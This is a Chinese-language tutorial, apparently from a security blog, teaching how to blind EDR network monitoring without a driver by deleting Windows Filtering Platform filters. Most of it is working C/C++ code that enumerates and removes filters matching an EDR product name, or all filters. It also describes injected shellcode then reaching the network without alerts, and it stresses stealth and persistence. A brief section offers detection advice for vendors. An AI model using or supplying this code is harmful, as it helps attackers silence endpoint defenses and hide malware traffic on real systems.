EDR监测遭遇滑铁卢?无驱动技术让你轻松突破EDR!
字数 1429 2025-08-24 07:48:09
无驱动技术突破EDR监测的教学文档
1. 背景与原理
1.1 EDR监测现状
现代EDR(终端检测与响应)系统对驱动层面的防护日益严密,传统通过漏洞驱动终止EDR进程或移除回调函数的方法已逐渐失效。本文介绍一种无需依赖驱动即可绕过EDR网络监测的技术。
1.2 技术原理
本技术基于Windows Filtering Platform(WFP)框架,通过创建流量过滤规则阻断EDR进程对外发送的流量,使EDR无法上报分析信息和日志。关键点:
- 仅针对EDR的流量监测模块
- 只需管理员权限,无需驱动
- 不会触发EDR告警(前提是操作未被发现)
2. WFP技术详解
2.1 WFP架构
WFP是Windows用于取代TDI和NDIS的开发框架,由以下核心组件组成:
| 组件 | 功能描述 |
|---|---|
| Filter Engine | 核心过滤引擎,处理各种协议层的过滤器 |
| Base Filtering Engine | 服务组件,管理过滤器和配置 |
| Filter | 具体过滤规则,包含条件和行为 |
| Provider | 管理多个Filter的实体 |
| Shim | 内核模式流量采集组件 |
| Callouts | 捕获目标流量时执行的回调函数 |
| API | 开发WFP应用的函数集 |
2.2 WFP工作流程
- Shim采集网络栈各层流量
- Filter Engine根据策略决定放行或阻断
- 匹配的Filter触发Callouts执行特定操作
3. 技术实现步骤
3.1 总体思路
通过删除EDR在WFP中设置的所有Filter,使其失去流量监测能力:
- EDR依赖用户层WFP实现流量监测
- 管理员权限可完全控制用户层WFP
- 删除Filter后EDR无法监测网络流量
- EDR其他功能不受影响,仍保持在线状态
3.2 具体实现代码
3.2.1 打开FWP引擎
if (FwpmEngineOpen0(NULL, RPC_C_AUTHN_DEFAULT, NULL, NULL, &hEngine) != 0) {
printf("[-]Failed to open filter engine.\n");
exit(1);
}
3.2.2 枚举所有Filter
DWORD res = 0;
HANDLE hEnum = nullptr;
FWPM_FILTER0** ppFilters = nullptr;
UINT32 numFilter = 0;
res = FwpmFilterCreateEnumHandle0(hEngine, NULL, &hEnum);
if (res != 0) {
printf("[-]Failed to create enum handle.Error code: 0x%x\n", res);
FwpmEngineClose0(hEngine);
exit(1);
}
res = FwpmFilterEnum0(hEngine, hEnum, 0x500, &ppFilters, &numFilter);
if (res != 0) {
printf("[-]Failed to enum filters.Error code: 0x%x\n", res);
FwpmEngineClose0(hEngine);
exit(1);
}
3.2.3 删除目标Filter
void DeleteFilter(HANDLE hEngine, std::wstring target, FWPM_FILTER0** ppFilters, UINT32 numFilter) {
DWORD res = 0;
bool bDeleted = false;
for (UINT32 i = 0; i < numFilter; i++) {
std::wstring filterName = ppFilters[i]->displayData.name;
if (target != L"all") {
if (filterName.find(target) != std::wstring::npos) {
res = FwpmFilterDeleteById0(hEngine, ppFilters[i]->filterId);
if (res != 0) {
printf("[-]Failed to delete filter: [%ls].Error code: 0x%x\n",
ppFilters[i]->displayData.name, res);
}
printf("[+]%ls filter has been deleted.\n", ppFilters[i]->displayData.name);
bDeleted = true;
}
}
else {
res = FwpmFilterDeleteById0(hEngine, ppFilters[i]->filterId);
if (res != 0) {
printf("[-]Failed to delete filter: [%ls].Error code: 0x%x\n",
ppFilters[i]->displayData.name, res);
}
printf("[+]%ls filter has been deleted.\n", ppFilters[i]->displayData.name);
}
}
if (bDeleted == false) printf("[-]Nothing has been deleted.\n");
}
4. 效果验证
4.1 删除前状态
- 注入器成功注入未触发告警
- Shellcode执行网络请求时被拦截
- EDR管理台立即收到告警
4.2 删除后状态
- 列举并删除EDR相关Filter(如Bitdefender)
- 使用相同样本注入并执行Shellcode
- 成功完成网络请求且无告警
- 可选:删除所有Filter(保留系统关键Filter)
5. 技术限制
- 仅对依赖用户层WFP实现流量监测的EDR有效
- 对使用ETW从内核监测流量的EDR无效
- 需要管理员权限执行
- EDR其他防护模块仍保持功能
6. 防御建议
针对此类无驱动绕过技术,EDR厂商可采取以下防护措施:
- 间歇性检查Filter状态
- 监控WFP相关API调用
- 补充内核ETW流量监测功能
- 实现Filter自动恢复机制
7. 总结
本技术通过WFP框架实现对EDR流量监测模块的致盲,具有以下特点:
- 无驱动:不依赖漏洞驱动,规避传统检测
- 隐蔽性:不终止EDR进程,保持在线状态
- 有效性:经测试对多家EDR产品有效
- 持久性:重启前EDR不会恢复Filter
8. 参考文献
- Microsoft WFP官方文档: https://learn.microsoft.com/zh-cn/windows/win32/fwp/windows-filtering-platform-start-page
- EDRSilencer项目参考